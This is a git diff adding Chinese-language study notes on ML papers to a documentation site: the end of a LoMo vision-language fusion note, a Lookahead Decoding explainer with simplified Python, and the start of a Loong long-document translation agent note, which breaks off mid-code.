+50% 左右最优——太少对齐信号不够，太多则纯文本能力被稀释。
+
+### 5. 与相关路线的区别
+
+| 路线 | 代表 | 目标 |
+|------|------|------|
+| Text-as-Pixels 效率派 | DeepSeek-OCR、Glyph | 用像素**压缩**上下文、省 token |
+| 解码/偏好对齐 | VCD、HA-DPO | 推理或 RL 阶段减幻觉 |
+| **LoMo** | 本篇 | 在**同一条训练样本**里让 text-token 与 text-pixel **语义对齐** |
+
+---
+
+## 实验结果速览
+
+### Standard Evaluation（常规：图 + 文字问题）
+
+- LLaVA-OV1.5-8B：**40.88 → 43.56**（+2.68）
+- Qwen3.5-9B：**54.43 → 57.25**（+2.82）
+- 涨幅集中在：指令遵循（MM-IFEval）、视觉感知（CountBench、V*）、文档 OCR（DocVQA）
+
+### Rendered Evaluation（问题也渲染成图）
+
+- LLaVA：**15.24 → 34.10**（+18.86）
+- Qwen3.5：**43.26 → 55.18**（+11.92）
+- Qwen3.5 上 Standard→Rendered 的性能落差：Standard SFT **-11.17**，LoMo 仅 **-2.07**
+
+### 组件消融（LLaVA-OV1.5-8B）
+
+| 变体 | 平均 | 说明 |
+|------|------|------|
+| Standard SFT | 40.88 | 基线 |
+| Full-Text Rendering | 42.07 | 整题渲染，无选段/扰动，增益有限 |
+| LoMo w/o PD | 43.10 | 去掉感知扰动仍 +2.22 |
+| **LoMo 完整** | **43.56** | 选段是主因，扰动再 +0.46 |
+
+---
+
+## 代码示例
+
+### 示例 1：LoMo 数据变换的最小 Python 骨架
+
+下面代码演示论文公式 (1)(2) 的逻辑：**选段 → 渲染 → 扰动 → 拼回交错序列**。渲染器用 Pillow 占位，生产环境应换 LaTeX / 专用文本渲染管线。
+
+```python
+from dataclasses import dataclass
+from typing import Tuple
+import random
+from PIL import Image, ImageDraw, ImageFont, ImageFilter
+
+@dataclass
+class LoMoSample:
+    prefix: str
+    image: Image.Image
+    suffix: str
+    answer: str
+
+def structure_aware_span_localization(text: str) -> Tuple[str, str, str]:
+    """S(·): 公式感知分块的简化版——按块取中间 1/3。"""
+    blocks = text.split("\n\n") if "\n\n" in text else [text]
+    if len(blocks) <= 2:
+        return "", text, ""
+    n = len(blocks)
+    start = n // 3
+    end = max(start + 1, 2 * n // 3)
+    pre = "\n\n".join(blocks[:start])
+    mid = "\n\n".join(blocks[start:end])
+    suf = "\n\n".join(blocks[end:])
+    return pre, mid, suf
+
+def render_text_span(span: str, width: int = 640, height: int = 128) -> Image.Image:
+    """R(·): 纯文本渲染；含 $...$ 或 \\frac 时应路由到 LaTeX 渲染器。"""
+    img = Image.new("RGB", (width, height), "white")
+    draw = ImageDraw.Draw(img)
+    font = ImageFont.load_default()
+    draw.text((10, 10), span[:500], fill="black", font=font)
+    return img.crop(img.getbbox())  # 裁掉空白边距
+
+def perceptual_distortion(img: Image.Image) -> Image.Image:
+    """A(·): 随机施加一种语义保持的退化。"""
+    op = random.choice(["none", "blur", "rotate"])
+    if op == "blur":
+        return img.filter(ImageFilter.GaussianBlur(radius=2))
+    if op == "rotate":
+        return img.rotate(random.choice([5, -5, 15, -15]), expand=True, fillcolor="white")
+    return img
+
+def lomo_transform(question: str, answer: str) -> LoMoSample:
+    x_pre, x_mid, x_suf = structure_aware_span_localization(question)
+    rendered = render_text_span(x_mid)
+    distorted = perceptual_distortion(rendered)
+    return LoMoSample(prefix=x_pre, image=distorted, suffix=x_suf, answer=answer)
+
+# 用法
+raw_q = "Given the chart, compute the area.\n\nFormula: A = π r² with r = 3.\n\nAnswer in cm²."
+sample = lomo_transform(raw_q, answer="28.27")
+# 训练时构造: [x_pre tokens] + [image tokens] + [x_suf tokens] → 监督仍为 answer
+print(sample.prefix, sample.suffix, sample.answer)
+```
+
+### 示例 2：构造 VLM 训练消息 + 评测「载体敏感」
+
+用 Hugging Face 多模态消息格式，把 LoMo 样本喂给 LLaVA / Qwen 类模型；同时演示 **Rendered Evaluation** 探针。
+
+```python
+def to_training_messages(sample: LoMoSample, scene_image_path: str) -> list:
+    """交错样本：场景图 + 前缀文本 + 渲染块图 + 后缀文本。"""
+    content = []
+    if scene_image_path:
+        content.append({"type": "image", "image": scene_image_path})
+    if sample.prefix.strip():
+        content.append({"type": "text", "text": sample.prefix.strip()})
+    content.append({"type": "image", "image": sample.image})  # 局部替换的视觉载体
+    if sample.suffix.strip():
+        content.append({"type": "text", "text": sample.suffix.strip()})
+    return [
+        {"role": "user", "content": content},
+        {"role": "assistant", "content": [{"type": "text", "text": sample.answer}]},
+    ]
+
+def rendered_eval_probe(full_question: str, scene_image_path: str) -> list:
+    """Rendered Evaluation：整题渲染成一张图，测 carrier sensitivity。"""
+    q_img = render_text_span(full_question, width=800, height=400)
+    return [
+        {"role": "user", "content": [
+            {"type": "image", "image": scene_image_path},
+            {"type": "image", "image": q_img},  # 文字问题变成像素
+        ]},
+    ]
+
+def pairwise_cross_modal_distance(h_text, h_img) -> float:
+    """论文 Eq.(7): 1 - cos(h̄_text, h̄_img)，用于分析对齐程度。"""
+    import torch
+    h_text = h_text / h_text.norm()
+    h_img = h_img / h_img.norm()
+    return float(1 - torch.dot(h_text, h_img))
+```
+
+训练时：**50% 左右的纯文本 SFT 样本**走 `lomo_transform`，其余保持原样；loss 仍是标准 next-token prediction，无需自定义对齐 loss。
+
+---
+
+## 实现要点与踩坑
+
+1. **选段比整段渲染重要**：Full-Text Rendering 几乎只带来 +1.19，Middle 交错结构才是 +2.68 的主因。
+2. **LaTeX 路由不能省**：数学题走 LaTeX 渲染，失败要有 fallback，否则吞吐和数据质量双崩。
+3. **扰动模拟真实文档**：扫描倾斜、模糊、折痕——让模型对齐的是**语义**，不是「干净截图的字形」。
+4. **Rewrite Ratio 有饱和点**：50% 左右最佳；100% 反而掉分，纯文本推理能力受损。
+5. **增益不只是「多看了几张图」**：把 image:text 比例强行配平到 1:1，LoMo 仍 +2.45——关键在**交错跨载体**，不是样本计数。
+
+---
+
+## 局限与开放问题
+
+- **数据构造代码尚未完全开源**（截至 2026-06，GitHub TODO 仍含 construction / training scripts）。
+- **渲染风格域**：字体、排版、语言（中文 vs 英文）变化可能带来新偏置。
+- **整题 Rendered Eval 仍非满分**：LoMo 大幅缓解但未消除载体敏感，说明对齐仍是长期课题。
+- **与 RL / DPO 的叠加效果**：论文聚焦 SFT 数据侧，与偏好优化、推理时干预如何组合尚待探索。
+
+---
+
+## 与本文库其他条目怎么读
+
+- 先读 [Qwen2-VL](/papers/qwen2-vl-2024)：理解现代 VLM 如何把图像 token 接进 LLM。
+- 再读 [Flash Attention](/papers/flash-attention)：长文档 + 多图交错时，注意力算力是工程底座。
+- LoMo 补的是**训练数据几何**：同样 ViT–LLM 骨架，换 SFT 样本形态就能改变模态融合深度。
+
+---
+
+## 自测题
+
+1. **Carrier Sensitivity** 和普通的 domain shift 有何不同？
+2. 为什么 LoMo 选「中间 1/3」而不是开头或结尾？
+3. Standard SFT 为何会把 pairwise cross-modal distance **越训越大**？
+4. 若只有 10% 纯文本 SFT 数据，Rewrite Ratio 50% 意味着什么？
+5. LoMo 与 DeepSeek-OCR 类「text-as-pixels 压缩」目标有何本质区别？
+
+<details>
+<summary>参考答案（先自己想）</summary>
+
+1. Carrier Sensitivity 强调**语义等价**下仅换载体；domain shift 通常连语义分布都变。
+2. Middle 形成 text–image–text，模型必须融合两侧文本与中间视觉块才能恢复完整语义；Prefix/Suffix 允许「单模态猜答案」。
+3. 常规数据里文本负责 query、图像负责 evidence，SFT 可完成任务而**不必**对齐等价文本与渲染图；LoMo 把对齐变成答题必要条件。
+4. 约 5% 总样本被 LoMo 改写（10%×50%），其余 95% 保持原协议——实际比例需按「纯文本子集」而非全量算。
+5. OCR/压缩路线用像素**替代** token 省长度；LoMo 在同一样本里让两种载体**共存并对齐**，服务融合而非压缩。
+
+</details>
+
+---
+
+## 引用
+
+```bibtex
+@article{han2026lomo,
+  title={LoMo: Local Modality Substitution for Deeper Vision-Language Fusion},
+  author={Han, Feng and Zhang, Zhixiong and Liang, Zheming and Wang, Yibin and Wang, Jiaqi},
+  journal={arXiv preprint arXiv:2605.30265},
+  year={2026}
+}
+```
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.30265v1](https://arxiv.org/html/2605.30265v1)
+- 项目页：[maplebb.github.io/LoMo](https://maplebb.github.io/LoMo/page/)
+- 代码 / Checkpoint：[github.com/Maplebb/LoMo](https://github.com/Maplebb/LoMo)
+- MIR 指标原文：Huang et al., 2024（Modality Integration Rate）
diff --git a/src/content/docs/papers/longformer-2020.md b/src/content/docs/papers/longformer-2020.md
index e09ba75f0..89ee947d0 100644
--- a/src/content/docs/papers/longformer-2020.md
+++ b/src/content/docs/papers/longformer-2020.md
@@ -2,7 +2,7 @@
 title: Longformer — 滑窗加少数全局 token，把长文档喂进 Transformer
 来源: 'Beltagy, Peters, Cohan, "Longformer: The Long-Document Transformer", arXiv 2004.05150 (2020)'
 日期: 2026-05-31
-子分类: 模型与训练
+子分类: ml
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/lookahead-decoding-2024.md b/src/content/docs/papers/lookahead-decoding-2024.md
new file mode 100644
index 000000000..3f2ce9cf0
--- /dev/null
+++ b/src/content/docs/papers/lookahead-decoding-2024.md
@@ -0,0 +1,316 @@
+---
+title: "打破链式依赖：Lookahead Decoding (Jacobi) 零基础学习笔记"
+来源: https://arxiv.org/abs/2402.02057
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# 打破链式依赖：Lookahead Decoding (Jacobi) 零基础学习笔记
+
+## 1 一个日常类比：两个人抄课文
+
+假设老师让你抄一段 100 个字的课文。
+
+**传统方式（自回归解码）**：你先抄第 1 个字，抄完才能抄第 2 个字，再抄第 3 个字……一个字一个字来。即使你的右手（GPU 的并行计算单元）闲着，你也只能一个字一个字抄，因为你不确认第 2 个字写什么之前，第 3 个字根本不知道是什么。
+
+**Lookahead Decoding 的方式**：现在来了一个帮手。你抄完第 1 个字后，帮手说："我猜接下来 5 个字是 ABCDE，你一边验证我猜的对不对，我一边接着猜下一组 5 个字。"
+
+- 如果帮手猜对了 4 个，你直接把这 4 个抄上去，省了 4 步
+- 如果猜错了第 3 个，你只抄前 2 个，第 3 个你自己重新写
+
+关键：**帮手猜字的过程是并行的**——他不用等你确认第 1 个字对不对才猜第 2 个字。他同时猜 ABCDE 五个字，你用一个"验证步骤"全部验完。
+
+## 2 要解决的问题：LLM 推理为什么慢
+
+大语言模型（比如 GPT）生成文本时，是一步一步来的：
+
+1. 输入提示词，模型输出第 1 个词
+2. 把第 1 个词加回去，再输入模型，输出第 2 个词
+3. 继续……
+
+这叫 **自回归解码（autoregressive decoding）**。问题在于：
+
+- 每次只生成 **1 个词**，但现代 GPU 能并行算 **成千上万个词**
+- GPU 的大量并行计算单元在等待——这就像买了一辆法拉利，却只用来在小区里以 5km/h 的速度开车
+- 瓶颈是 **显存带宽（memory bandwidth）**：读一次模型权重很慢，但你每次只产出一个词，效率极低
+
+## 3 核心概念拆解
+
+### 3.1 自回归解码 vs Jacobi 解码
+
+在数值计算中，有两个经典方法解方程：
+
+- **Gauss-Seidel**：算出一个值就用它去算下一个（ sequential，一步一步来）
+- **Jacobi**：用上一轮的所有值同时算这一轮的所有值（parallel，大家一起算）
+
+类比到 LLM 生成：
+
+| | Gauss-Seidel（自回归）| Jacobi |
+|---|---|---|
+| 生成方式 | 一个一个来 | 一批一批来 |
+| 并行性 | 低 | 高 |
+| 准确性 | 100% | 原始 Jacobi 不保证 |
+
+**Jacobi 解码** 的思路：用上一轮生成的所有 token 同时预测下一轮的所有 token。但它有一个致命问题——输出的概率分布和原模型不一致。
+
+**Lookahead Decoding** 的创新：在 Jacobi 的基础上加了 **验证机制**，既保留了并行加速，又保证输出和原模型完全一致。
+
+### 3.2 两个核心组件
+
+Lookahead Decoding 有两个分支：
+
+**1. 前瞻分支（Lookahead Branch）** — "猜字的人"
+
+- 维护一个固定的 2D 窗口：时间轴（过去几步）+ 序列轴（未来几个位置）
+- 参数 W = 前瞻窗口大小（一次猜多少个 token）
+- 参数 N = 回看步数（利用过去几步的历史信息）
+- 从这个窗口中提取多个 **n-gram**（连续 token 序列）
+- 这些 n-gram 是 **互不重叠的**，可以并行验证
+
+**2. 验证分支（Verification Branch）** — "检查答案的人"
+
+- 从 n-gram 池中找出以当前最后一个 token 开头的候选 n-gram
+- 用目标模型一次性验证所有这些 n-gram
+- 验证通过的 n-gram 直接加入输出序列
+- 验证不通过的，只保留匹配的部分，剩余的继续自回归生成
+
+### 3.3 关键参数速查
+
+| 参数 | 含义 | 典型值 |
+|---|---|---|
+| W | 前瞻窗口（lookahead window） | 5 |
+| N | 回看步数（lookback steps） | 4 |
+| G | 每个步骤的 n-gram 候选数 | = W |
+| n | 每个 n-gram 的长度 | N |
+| S | 压缩比（compression ratio） | 1.5 - 4.0 |
+
+## 4 代码示例
+
+### 示例 1：n-gram 提取过程
+
+假设我们有以下历史生成记录（不同颜色代表不同时间步生成）：
+
+```
+时间步 t-3:  [猫, 喜欢, 晒太阳]
+时间步 t-2:  [喜欢, 晒太阳, 很]
+时间步 t-1:  [晒太阳, 很, 舒服]
+时间步 t:    [?]
+```
+
+设 N = 4（回看 3 步 + 当前步），W = 5（前瞻 5 个位置）。
+
+```python
+def extract_ngrams(history_window, current_step, n=4):
+    """
+    从 2D 窗口中提取互不重叠的 n-gram
+    
+    history_window: 二维列表，每一行代表一个时间步生成的 tokens
+    current_step:   当前时间步的输入 tokens
+    n:              n-gram 的长度
+    
+    返回: 一组互不重叠的 n-gram 候选
+    """
+    ngrams = []
+    
+    # 从历史轨迹中提取 n-gram
+    # 例如：用 t-3 的第 2 个 token + t-2 的第 3 个 token
+    #           + t-1 的第 4 个 token + t 的新预测 token
+    # 组成一个长度为 4 的 n-gram
+    
+    for i in range(len(history_window) - (n - 1)):
+        ngram = []
+        for j in range(n):
+            row = i + j  # 沿着时间轴滑动
+            col = j      # 沿着序列轴偏移
+            if row < len(history_window):
+                if col < len(history_window[row]):
+                    ngram.append(history_window[row][col])
+            else:
+                # 当前步的 token 还未生成
+                pass
+        if len(ngram) >= 2:  # 至少需要 2 个已知的 token
+            ngrams.append(ngram)
+    
+    return ngrams
+
+# 模拟数据
+history = [
+    ["猫", "喜欢", "晒太阳"],   # t-3
+    ["喜欢", "晒太阳", "很"],   # t-2
+    ["晒太阳", "很", "舒服"],    # t-1
+]
+
+ngrams = extract_ngrams(history, current_step=[], n=4)
+# 提取出的 n-gram 候选（部分）：
+# ["猫", "喜欢", "晒太阳", ???]
+# ["喜欢", "晒太阳", "很", ???]
+# ["晒太阳", "很", "舒服", ???]
+```
+
+### 示例 2：完整解码循环（简化版）
+
+```python
+def lookahead_decode(model, prompt, W=5, N=4, max_steps=100):
+    """
+    Lookahead Decoding 的简化实现
+    
+    model:      目标 LLM
+    prompt:     输入提示词
+    W:          前瞻窗口大小
+    N:          回看步数
+    """
+    output = list(prompt)        # 逐步积累的输出序列
+    window = []                  # 2D 窗口：[时间步][序列位置]
+    ngram_pool = []              # n-gram 池
+    
+    for step in range(max_steps):
+        # ---- 第 1 步：前瞻分支（并行预测）----
+        # 用当前窗口 + 历史轨迹，并行预测 W 个未来位置的 token
+        new_tokens = model.parallel_predict(window, output[-N:])
+        
+        # 将新 token 加入窗口
+        window.append(new_tokens)
+        
+        # 从窗口中提取 n-gram 候选
+        candidate_ngrams = extract_ngrams(window, new_tokens, n=N)
+        ngram_pool.extend(candidate_ngrams)
+        
+        # 限制窗口大小：移除最旧的 token
+        if len(window) > N:
+            window.pop(0)
+        
+        # ---- 第 2 步：验证分支（并行验证）----
+        # 从池中找出以当前最后一个 token 开头的 n-gram
+        last_token = output[-1]
+        valid_candidates = [
+            ng for ng in ngram_pool
+            if ng and ng[0] == last_token
+        ]
+        
+        if valid_candidates:
+            # 一次性并行验证所有候选 n-gram
+            accepted = model.verify_ngrams(valid_candidates, output)
+            
+            # 将验证通过的 n-gram 加入输出
+            if accepted:
+                output.extend(accepted)
+                # 从池中移除已使用的 n-gram
+                ngram_pool = [ng for ng in ngram_pool if ng not in accepted]
+                continue
+        
+        # 如果没有可接受的 n-gram，退回一步式自回归生成
+        next_token = model.generate(output)
+        output.append(next_token)
+    
+    return output
+```
+
+### 示例 3：验证过程的数学直觉
+
+```python
+def verify_single_ngram(ngram, model, output):
+    """
+    验证单个 n-gram 是否正确
+    
+    原理：类比 speculative decoding 的验证方法
+    把整个 n-gram 送给模型，一次性得到每个 token 的概率分布，
+    然后检查模型输出的最大值是否等于我们"猜"的那个 token。
+    
+    例如 n-gram = ["很", "舒服", "的"]
+    输入: [..., last_token, 很, 舒服, 的]
+    模型输出: p(token|context) 对于 "很"、"舒服"、"的" 各一个分布
+    
+    如果每个分布的最大值 token 等于我们猜的 token → 接受
+    否则，找到第一个不匹配的位置，拒绝后续的 token
+    """
+    # 构造完整的输入序列
+    input_seq = output + ngram
+    
+    # 模型一次性输出每个位置的概率分布
+    logprobs = model.forward_logprobs(input_seq)
+    
+    # 渐进式验证（progressive verification）
+    accepted_len = 0
+    for i in range(len(ngram)):
+        predicted_token = logprobs[i + len(output)].argmax()  # 最可能的 token
+        expected_token = ngram[i]
+        
+        if predicted_token == expected_token:
+            accepted_len += 1
+        else:
+            # 第一个不匹配，停止验证
+            break
+    
+    # 返回验证通过的 token 数
+    return accepted_len
+
+
+# 举例：
+# output = ["猫", "喜欢"]
+# ngram = ["晒太阳", "很", "舒服"]
+#
+# 模型验证后返回 accepted_len = 2
+# 意味着前 2 个猜对了，第 3 个不对
+# 输出变为: ["猫", "喜欢", "晒太阳", "很"]
+# 第 3 个 token 需要模型重新生成
+```
+
+## 5 加速原理：为什么能提速
+
+Lookahead Decoding 的核心思想是 **用每步更多的 FLOPs 换取更少的解码步数**。
+
+```
+传统自回归：  生成 100 个 token = 100 步 = 100 次模型前向传播
+Lookahead：   生成 100 个 token = 约 30 步 = 30 次模型前向传播
+              但每步的输入是 5 个 token 而不是 1 个
+              每步计算量增加了 ~5 倍
+              总计算量：30 x 5 = 150 步的计算量
+```
+
+**关键点**：虽然总计算量多了 1.5 倍，但瓶颈不是计算（FLOPs），而是显存带宽。GPU 每次读取模型权重到显存的开销是固定的，无论你一次处理 1 个 token 还是 5 个 token。所以：
+
+- 100 次前向传播：100 次读取模型权重的开销
+- 30 次前向传播：30 次读取模型权重的开销 → 省了 70% 的带宽开销
+- **最终加速比 ≈ 1.5x - 4x**（取决于任务和模型大小）
+
+论文实验数据：
+- MT-Bench 对话任务：最高 1.8x 加速
+- 代码补全任务：最高 4x 加速（代码中重复 token 多，n-gram 更容易匹配）
+- 配合 FlashAttention：额外 20% 加速
+- 多 GPU 强扩展：4x 加速
+
+## 6 与 Speculative Decoding 的对比
+
+| | Speculative Decoding | Lookahead Decoding |
+|---|---|---|
+| 需要草稿模型 | 是（需要训练一个小模型） | 否 |
+| 草稿来源 | 草稿模型的输出 | 历史轨迹中的 n-gram |
+| 并行性 | 有限（一条草稿链） | 高（多个互不重叠的 n-gram） |
+| 通用性 | 受草稿模型限制 | 通用，无需额外模型 |
+| 验证方式 | 逐个验证草稿 token | 批量验证多个 n-gram |
+
+## 7 关键洞察：缩放定律
+
+论文第 4 节提出了一个重要的缩放定律：
+
+> **解码步数可以随着每步 log(FLOPs) 线性减少**
+
+换句话说：如果你把每步的处理量（batch size W）从 1 增加到 10，解码步数大约会减少 log(10) ≈ 2.3 倍，而不是 10 倍。这是因为 n-gram 的接受率会随长度增加而下降，但 **你不需要担心遇到瓶颈上限**——这与 speculative decoding 不同，后者在草稿模型质量有限时会遇到加速天花板。
+
+## 8 总结
+
+Lookahead Decoding 的核心贡献只有三句话：
+
+1. 利用 Jacobi 迭代的思想，用历史生成的轨迹提取多个互不重叠的 n-gram，并行预测未来的 token
+2. 用一个验证分支一次性验证所有候选 n-gram，保证输出分布与原模型完全一致
+3. 不需要任何额外的草稿模型或数据存储器，是一个即插即用的加速方法
+
+它本质上做了一个权衡：**用更多的每步计算量换取更少的总步数**，恰好击中了 LLM 推理的瓶颈——显存带宽，而不是计算能力。
+
+## 9 延伸阅读
+
+- 论文代码：https://github.com/hao-ai-lab/LookaheadDecoding
+- 相关方法：Speculative Decoding（LEAD 论文）、Jacobi Decoding（2023）
+- FlashAttention：加速注意力计算的重要基础设施
diff --git a/src/content/docs/papers/loong-doc-mt.md b/src/content/docs/papers/loong-doc-mt.md
new file mode 100644
index 000000000..611dcf7b3
--- /dev/null
+++ b/src/content/docs/papers/loong-doc-mt.md
@@ -0,0 +1,374 @@
+---
+title: Loong — 类人长文档翻译 Agent 与自适应上下文选择
+来源: https://arxiv.org/abs/2605.30274
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：专业译员翻长篇小说
+
+想象你接到一本**五十万字的技术手册**或**古典小说**的翻译任务。你不会把整本书一次性塞进脑子里再动笔——那既记不住，也会被无关细节淹没。专业译员通常这样做：
+
+1. **分段推进**：每次翻译一小段（比如 5 句），翻完再写下一段。
+2. **三层笔记本**：
+   - **剧情摘要本**（Essence）：每翻完一段，用几句话记下「这段讲了什么、文体如何」；
+   - **例句对照本**（Exemplar）：把已翻好的中英（或德/法）句对存起来，遇到类似句式时参考；
+   - **术语卡**（Entity）：「Korren → 科伦（中尉，不是上校）」「Borlatin Xiao → 博拉丁·肖上尉」——专名一旦定稿就不能漂移。
+3. **翻下一段前先「看再选」**（Observe-and-Act）：从笔记本里**检索**候选条目，但**不会全塞进 prompt**——译员会判断：这段摘要跟当前句有关吗？那个例句的文体值得模仿吗？这条术语卡是否重复了？
+4. **噪声会害人**：如果把所有历史摘要、所有例句、所有实体一股脑丢给模型，上下文窗口很快爆掉；更糟的是，无关信息会**干扰**当前句的翻译（论文称「冗余上下文降低质量」）。
+
+**Loong**（龙）就是把这个「类人译员工作流」做成 LLM Agent：**3E 记忆模块**存历史、**Observe-and-Act 推理**筛上下文、**强化学习（DPO）**优化「该看什么、怎么用」，再配合**对齐强制翻译算法**保证源句与译句一一对应。
+
+一句话：**长文档翻译的难点不是「有没有上下文」，而是「选什么上下文、怎么用」——Loong 学的是这个策略。**
+
+---
+
+## 是什么
+
+**Loong: A Human-Like Long Document Translation Agent with Observe-and-Act Adaptive Context Selection**（Wang 等，哈工大深圳 / 澳门大学 / 华为翻译中心，arXiv:[2605.30274](https://arxiv.org/abs/2605.30274)）提出：
+
+1. **3E 记忆模块**：Essence（段摘要）+ Exemplar（双语句对）+ Entity（实体术语库），多粒度存储已翻译历史。
+2. **Observe-and-Act 自适应上下文选择**：三步推理——先选摘要、再选例句、再选实体——每步输出「思考 + 选中子集」，过滤冗余。
+3. **基于采样轨迹的偏好学习**：对每步动作并行采样 \(M\) 次、对翻译采样 \(N\) 次，用 COMET 等质量分构造 \((\text{preferred}, \text{dispreferred})\) 对，经 **SFT + DPO（LoRA）** 优化策略。
+4. **对齐强制推理**：递归二分切分未对齐的段，保证**句级对齐**，便于评测与记忆更新。
+
+| 项目 | 内容 |
+|------|------|
+| 任务 | 文档级机器翻译（DocMT） |
+| 语言对 | 英 ↔ 中、德、法（训练）；评测含跨域、未见语言、超长《西游记》 |
+| 骨干模型 | Qwen2.5-7B、Qwen3-8B/14B、Llama3.1-8B 等 |
+| 开源 | [github.com/YutongWang1216/LoongDocMT](https://github.com/YutongWang1216/LoongDocMT) |
+| 效果 | 三项指标平均最高约 **+13.0** 分；Llama3.1-8B 上 LLM-as-Judge 比 DelTA 高 **7.1** 分 |
+
+---
+
+## 为什么重要
+
+长文档翻译是 LLM 的「夹心困境」：
+
+| 困境 | 表现 |
+|------|------|
+| **窗口有限** | 整篇历史塞进 prompt → 超长文档直接失败（Doc2Doc 在《西游记》约 156–160 行处崩溃） |
+| **冗余有害** | 有记忆但不筛选 → sCOMET 甚至不如逐句翻译（DelTA/Doc2Doc 在 Qwen3-8B 上低于 Sentence 基线） |
+| **一致性难** | 专名漂移（Korren → Cole/Kolen/Korm）、职衔错误（中尉译成上校） |
+| **对齐难** | Doc2Doc 生成句数与源句不对齐 → 文档级指标与记忆更新都不可靠 |
+
+Loong 把问题从「堆更多 token」转成「**学一个上下文策略**」，对 Agent、RAG、长上下文应用都有参考价值。
+
+---
+
+## 核心概念
+
+### 1. 文档分段与 Doc2Doc 工作流
+
+源文档切成 \(L\) 个段 \(\{s_1,\ldots,s_L\}\)，每段默认 **5 句**。按序翻译：翻完 \(s_\tau\) 后更新 3E 记忆，再处理 \(s_{\tau+1}\)。属于 **Doc2Doc**（整段输出），但通过句级对齐算法兼顾 **Doc2Sent** 的评测友好性。
+
+### 2. 3E 记忆模块（Human-like Translation Memory）
+
+| 组件 | 粒度 | 存什么 | 怎么检索 |
+|------|------|--------|----------|
+| **Essence** | 全局/语义 | 已完成段的 LLM 摘要 | 句向量余弦相似度，取 top-\(K_s\)（默认 4） |
+| **Exemplar** | 模式/文体 | 全部历史源-译句对 | 同样 embedding 检索 top-\(K_x\)（默认 4） |
+| **Entity** | 专名/术语 | \((e^{src}, e^{tgt}, \text{属性})\) 结构化记录 | 当前段出现的实体 + 上下文相关描述 |
+
+实体分 Character、Organization、Location、Event、Object、Other 六类，每类有不同属性字段（见论文附录 A.1）。翻译完一段后，Agent **抽取实体并更新知识库**。
+
+### 3. Observe-and-Act 三步推理
+
+候选上下文排成序列 \(\mathbf{E} = \langle \tilde{\mathcal{E}}_s, \tilde{\mathcal{E}}_x, \tilde{\mathcal{E}}_n \rangle\)。Agent 执行三步 \(\langle O_1,A_1,O_2,A_2,O_3,A_3 \rangle\)：
+
+- **Observe \(O_k\)**：当前步的候选集合 + 之前步的历史推理；
+- **Act \(A_k\)**：\(\langle r_k, \mathcal{C}_k \rangle\)——先写**推理链** \(r_k\) 分析相关性，再输出**选中子集** \(\mathcal{C}_k\)。
+
+**为何分三步而不是一次选？** 联合搜索空间是 \(O(\prod 2^K)\)，逐步分解为 \(O(\sum 2^K)\)，且能对每种上下文类型做**细粒度消融**（论文 Table 3：去掉 Essence 伤害最大）。
+
+### 4. 偏好数据构造（训练时）
+
+对每个 \(A_k\) **并行采样 \(M=7\) 次** → 每种选择再**采样 \(N=5\) 个翻译** → 用 \(\mu\)（sCOMET）算效用 \(U(A_k^i)\)：
+
+- **上下文选择数据集 \(\mathcal{D}_{sel}\)**：同一步里效用最高/最低的动作为 preferred/dispreferred；
+- **上下文利用数据集 \(\mathcal{D}_{util}\)**：同一选中上下文下，最好/最差翻译为 preferred/dispreferred。
+
+最后 \(\mathcal{D} = \mathcal{D}_{sel} \cup \mathcal{D}_{util}\)。
+
+### 5. SFT + DPO 两阶段微调
+
+1. **SFT**：只用 preferred 样本，教会模型「能推理、能输出结构化结果」；
+2. **DPO**（\(\beta=0.1\)，LoRA rank=8）：在完整偏好对上优化，相对 SFT  checkpoint 拉大 preferred 与 dispreferred 的对数几率差。
+
+论文称此为 RL 优化；实现上是 **offline preference optimization（DPO）**，而非在线 PPO。
+
+### 6. 对齐强制翻译（Alignment-Enforced Inference）
+
+推理时每类上下文**只采样一次**选择，不做中间质量评估。生成时对段 \(u_{i:j}\) 注入句序号与分隔符；若输出句数与源句不对齐，**递归二分**切半重译，直到对齐或降到单句：
+
+\[
+T(u_{i:j}) = \begin{cases}
+\text{LLM}(u_{i:j}), & \text{已对齐或 } i=j \\
+T(u_{i:k}) \oplus T(u_{k+1:j}), & \text{否则}
+\end{cases}
+\]
+
+### 7. 基线对比（你在读论文时会看到）
+
+| 基线 | 做法 | 弱点 |
+|------|------|------|
+| **Sentence** | 逐句翻译，无文档上下文 | 术语/文体不一致 |
+| **Segment** | 分段翻译，不用跨段记忆 | 无长程依赖 |
+| **Doc2Doc** | 对话历史堆全部已译段 | 窗口爆炸 + 噪声 |
+| **DelTA** | 多粒度记忆 + 检索，**不过滤** | 冗余上下文干扰句级质量 |
+
+Loong ≈ DelTA 的记忆架构 + **Observe-and-Act 筛选** + **DPO 学策略**。
+
+---
+
+## 代码示例 1：极简 3E 记忆与检索（教学用）
+
+下面用 Python 伪代码演示 Essence / Exemplar 的「翻译一段 → 写记忆 → 下一段检索」循环。实体库用 dict 简化；embedding 用占位函数表示。
+
+```python
+from dataclasses import dataclass, field
+from typing import List, Tuple, Dict
+import numpy as np
+
+def embed(text: str) -> np.ndarray:
+    """实际论文用 all-distilroberta-v1；这里用随机向量占位。"""
+    rng = np.random.default_rng(abs(hash(text)) % (2**32))
+    v = rng.standard_normal(768)
+    return v / (np.linalg.norm(v) + 1e-9)
+
+def top_k_by_cosine(query: str, items: List[str], k: int) -> List[str]:
+    q = embed(query)
+    scored = [(it, float(np.dot(q, embed(it)))) for it in items]
+    scored.sort(key=lambda x: x[1], reverse=True)
+    return [it for it, _ in scored[:k]]
+
+@dataclass
+class ThreeEMemory:
+    essences: List[str] = field(default_factory=list)      # 段摘要
+    exemplars: List[Tuple[str, str]] = field(default_factory=list)  # (src, tgt) 句对
+    entities: Dict[str, str] = field(default_factory=dict)  # src_term -> tgt_term
+
+    def update_after_segment(self, src_sents: List[str], tgt_sents: List[str], summary: str):
+        self.essences.append(summary)
+        for s, t in zip(src_sents, tgt_sents):
+            self.exemplars.append((s, t))
+        # 实体抽取省略：实际 Loong 用 LLM 结构化抽取六类实体
+
+def retrieve_candidates(memory: ThreeEMemory, segment_src: str, k_s: int = 4, k_x: int = 4):
+    essence_cands = top_k_by_cosine(segment_src, memory.essences, k_s)
+    src_pool = [s for s, _ in memory.exemplars]
+    idx = top_k_by_cosine(segment_src, src_pool, k_x)
+    exemplar_cands = [(s, t) for s, t in memory.exemplars if s in idx]
